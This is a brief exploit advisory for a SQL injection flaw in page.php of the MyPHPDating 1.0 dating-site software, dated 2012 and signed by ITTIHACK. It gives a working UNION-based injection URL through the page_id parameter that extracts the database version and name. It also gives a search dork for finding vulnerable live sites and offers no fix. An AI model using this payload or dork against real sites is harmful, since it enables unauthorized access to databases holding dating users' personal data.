MyPHPDating 1.0 – SQL Injection
MyPHPDating 1.0 SQL Injection Vulnerability \ ==============================================\__________________________ Software : MyPHPDating version 1.0 \ Date : 1/1/2012 \ Vendor : http://www.phponlinedatingsoftware.com/ \ Demo : http://www.phponlinedatingsoftware.com/demo.htm \ Get App. : http://www.phponlinedatingsoftware.com/order.htm \ Price : $149.00 \ Dork : "Powered by MyPHPDating" \ Author : ITTIHACK \ Home : http://ittihack.com \ ================================================================================== |_______________________________________| Vulnerable file : page.php | Exploit : http://localhost/[path]/page.php?page_id=[SQL] | http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())-- | ==========================================================================================================================| Greatz to: Reinie |